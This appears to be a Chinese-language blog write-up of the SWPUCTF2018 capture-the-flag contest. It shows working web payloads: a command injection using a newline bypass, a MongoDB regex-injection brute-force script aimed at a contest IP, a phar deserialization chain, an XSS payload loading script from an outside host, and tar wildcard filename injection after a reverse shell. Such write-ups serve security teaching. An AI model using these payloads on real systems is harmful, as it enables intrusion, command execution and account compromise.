Hpdoger's Blog.

SWPUCTF2018 Write up

Word count: 1,936 / Reading time: 8 min
2018/12/20 Share

恰逢复习期,也没什么事,打一场SWPUCTF来放松一下,感谢西油出题师傅。最后狗了个第十二名,顺便吐槽一下队友起的什么智障名字。。

SWPUCTF2018

MISC

PCAP

签到题,流量包拖wireshark追TCP包

床前明月光,低头…

低头看键盘

1
99 9 9 88 11 5 5 66 3 88 3 6 555 9 11 4 33

键盘密码 99就代表9那列的第二个值

look ….. 依次读就行了

WEB

用优惠码买个X

拿到题目扫目录 www.zip
源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>

根据提示应该分两部分 绕过优惠码->命令执行逃过

首先说破解优惠码,登陆时session产生0-99999999随机数为种子,通过mt_srand()种下随机数种子,mt_rand()来获取这个随机数。

这里mt_srand伪随机,具体机制可以看这篇文章:http://wonderkun.cc/index.html/?p=585%EF%BC%8C%E9%9A%8F%E6%9C%BA%E6%95%B0%E4%B9%8B%E5%89%8D%E4%B9%9F%E6%98%AFctf%E7%9A%84%E5%B8%B8%E8%A7%81%E5%A7%BF%E5%8A%BF

种子不变,生成的随机数就不变

所以通过前15位随机数,破解种子,根据种子再生成24位的随机数,也就是我们的优惠码

脚本跑随机数在字符串的位置:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$str = "lP9DUJjQ";
$randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

for($i=0;$i<strlen($str);$i++){
$pos = strpos($randStr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
//整理成方便 php_mt_seed 测试的格式
//php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "\n";
?>

这个的坑点,必须跑前八位优惠码,因为算法里后起位和前八位生成顺序不一样

用工具php_mt_seed跑一下

本地php7环境跑这个种子的24位就能得到优惠码了

优惠码成功跳转到命令执行whois查询,匹配ip时用了/m 且^ $必须匹配头尾,%0a换行绕过检测,0a后面写规范ip

过滤了查询flag的语句,用”” 或者\绕过都行

完整payload:

1
ca\t /f\lag%0a127.0.0.1

Injection ???

扫目录用个info.php

是个phpinfo然后拓展显示mongo的数据库,搭配题目叫注入,那应该是一个nosql注入了

思路很简单,用通配符猜解admin的密码

1
username=admin&password[$regex]=^**

只不过要写个脚本跑验证码,这里队友写了一个提供参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time
import pytesseract
from PIL import Image
import os
from urllib.request import urlretrieve

j=0
passw0rd = ["s","k","m","u","n"]
payload="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_!@#$%"
url = "http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^skmun{}&vertify={}"
img_url = 'http://123.206.213.66:45678/vertify.php'

for i in range(1,20):
while j<len(payload):
s = requests.session()
payloads = payload[j]
with open(r'C:\Users\asus\Desktop\image\img1.png','wb') as fd:
img_1 = s.get(url=img_url)
fd.write(img_1.content)
image = Image.open(r'C:\Users\asus\Desktop\image\img1.png')
vcode = pytesseract.image_to_string(image)
url_1 = url.format(str(payloads),vcode)
r = s.get(url_1,cookies=img_1.cookies)
print(r.text)
if "wrong CAPTCHA!" in r.text:
continue
if "username or password incorrect!" in r.text:
print(payloads)
j = j+1
break
if "Nice!But it is not the real passwd" in r.text:
passw0rd.append(payloads)
print("passw0rd is :" + str(passw0rd))
j = j+1
break

SimplePHP

题目地址:

file有个代码高亮的功能,把这些页面的额源码都Down一下

先看一下test类的__get()方法

__get()方法用于输出一个不可访问变量的值,不可访问不仅仅是protected和private,还有不存在的变量也属于不可访问,这点很重要。$key的值就是不可访问的参数名,这里是”source”,如果输入”xx”,echo的就是xx。

开发角度来讲,私有属性一般都会调用__get()方法用以提供外界访问。继续看下面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}

通过调用get()方法获取params数组里的值,进而获取这个值所对应的文件内容,这为获取flag文件内容做了铺垫。

所以只需要想办法使$this->params[$key] = ‘/var/www/html/f1ag.php’

瓶颈

一开始我是这样构造的攻击链:

之前分析过phar,它在反序列化的时候不会执行构造函数即construct,所以置空参数,让test类的get方法返回文件内容,再通过c1e4r类的echo输出到页面上

但是这里有一个问题,phar序列化的时候, 不会把类的方法反序列化,所以只能控类的成员。那么就开始下面的方法:

正确的思路

1
2
3
4
5
6
7
8
9
10
$a = new Test();
$a->params = [
'source' => '/var/www/html/f1ag.php'
];

$b = new Show();
$b->str['str'] = $a;

$c = new C1e4r();
$c->str = $b;

思路就是:
我们用test类来获取f1ag.php里的内容,返回给$content(Show类),$content的值再返回给C1e4r类的echo输出

C1e4r调用echo,而echo可以执行toString方法,所以我们让echo的值为我们要控的toString方法对应的类即show类的对象

有趣的邮箱注册

网站功能很少:提交邮箱地址->管理审核邮箱

给了hint:

1
2
3
4
5
6
7
8
9
10
11
12
<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, pleduase check your email";
}else{
echo "等待管理员自动审核";edit/5c1a5a3a38649f668227c9fd
echo $email;
}
}
?>
-->

之前有个红日审计项目,关于filter_var()匹配email的漏洞进行了剖析:https://xz.aliyun.com/t/2501

大致就是单引号双引号重叠,用\可以绕过空格,

然后我尝试了一下注入scirpt标签提交..尼玛直接成功了…

1
email="\ <sCRiPt\ sRC=https://unazizi.exeye.io/swctf></sCrIpT>\ "@aa.com

那它的意思应该是后台管理员会随时点击这个email,就触发了xss

因为打不到管理员的cookie,就打admin.php的页面源码了

发现后台会跳到:/admin/a0a.php?cmd=whoami

明显RCE,直接请求到这个url,发现出题人设置了本地,且匹配IP用的是 remote_addr,也就是说无法伪装IP

后台Bot一直会请求admin.php这个页面,xss 改变它请求的参数,让本地管理员帮我们执行这个命令

用XHR发送请求或者Location重定向都可以

反弹Shell后发现还有题目,后台有个上传页面和备份页面,其中backup.php可读内容如下

1
2
3
4
5
6
7
8
9
10
11
12
<?phpinclude("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
echo "上传目录下的所有文件备份成功!<br />";
echo "备份文件名: z.tar.gz";
}else{
echo "未上传文件,无法备份!";
}
?>

也就是说它会备份我们上传目录下的所有文件,即*

上传一些文件名例如| echo "123">123.php

System 就会执行拼接后的$sys

当时题目坏了,出题师傅跟我说直接再弹一个shell,就可以拿到flag权限。。

然后直接给我了flag…2333…

感受

这次比赛是西南石油师傅举办的公益性比赛..觉得他们确实挺不容易的,学院不支持+自掏腰包办比赛,但是赛题质量都还不错,可见师傅们的用心,给个好评!

CATALOG
  1. 1. SWPUCTF2018
  2. 2. MISC
    1. 2.1. PCAP
    2. 2.2. 床前明月光,低头…
  3. 3. WEB
    1. 3.1. 用优惠码买个X
    2. 3.2. Injection ???
    3. 3.3. SimplePHP
      1. 3.3.1. 瓶颈
      2. 3.3.2. 正确的思路
    4. 3.4. 有趣的邮箱注册
  4. 4. 感受